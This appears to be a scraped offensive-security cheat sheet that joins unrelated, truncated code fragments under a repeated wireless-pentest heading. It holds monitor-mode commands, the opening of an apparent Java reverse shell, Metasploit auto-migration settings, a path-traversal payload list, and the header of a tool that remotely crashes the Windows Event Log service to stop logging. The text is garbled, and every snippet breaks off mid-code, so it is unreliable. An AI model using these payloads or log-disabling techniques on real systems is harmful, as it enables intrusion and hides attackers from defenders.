#Wireless Penetration Testing Cheat Sheet
##WIRELESS ANTENNA
- Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
| // javac C.java | |
| // java C <ip> <port> | |
| // https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0 | |
| import java.io.IOException; | |
| import java.io.InputStream; | |
| import java.io.OutputStream; | |
| import java.net.Socket; | |
| public class C { | |
| public static void main(String[] args) throws Exception { |
| set LogLevel 5 | |
| set ConsoleLogging true | |
| set SessionLogging true | |
| set TimestampOutput true | |
| set HTTPTrace true | |
| # spool ~/.msf4/all_output.txt | |
| # load sounds verbose=true | |
| # setg InitialAutoRunScript migrate -f # deprecated | |
| setg AutoRunScript post/windows/manage/migrate | |
| setg PrependMigrate true |
#Wireless Penetration Testing Cheat Sheet
##WIRELESS ANTENNA
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
| #!/bin/bash | |
| while :; do | |
| verf=$(cat /dev/urandom | tr -dc '0-9' | fold -w 8 | head -n 1) | |
| pin=$(cat /dev/urandom | tr -dc '0-9' | fold -w 5 | head -n 1) | |
| ip=$(printf "%d.%d.%d.%d\n" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))") | |
| ../{FILE} | |
| ../../{FILE} | |
| ../../../{FILE} | |
| ../../../../{FILE} | |
| ../../../../../{FILE} | |
| ../../../../../../{FILE} | |
| ../../../../../../../{FILE} | |
| ../../../../../../../../{FILE} | |
| ..%2f{FILE} | |
| ..%2f..%2f{FILE} |
| # Crash the Windows Event Log Service remotely, needs Admin privs | |
| # originally discovered by limbenjamin and accidently re-discovered by @byt3bl33d3r | |
| # | |
| # Once the service crashes 3 times it will not restart for 24 hours | |
| # | |
| # https://github.com/limbenjamin/LogServiceCrash | |
| # https://limbenjamin.com/articles/crash-windows-event-logging-service.html | |
| # | |
| # Needs the impacket library (https://github.com/SecureAuthCorp/impacket) |
| ::########################################################################################################################## | |
| :: | |
| :: This script can ruin your day, if you run it without fully understanding what it does, you don't know what you are doing, | |
| :: | |
| :: OR BOTH!!! | |
| :: | |
| :: YOU HAVE BEEN WARNED!!!!!!!!!! | |
| :: | |
| :: This script is provided "AS IS" with no warranties, and confers no rights. | |
| :: Feel free to challenge me, disagree with me, or tell me I'm completely nuts in the comments section, |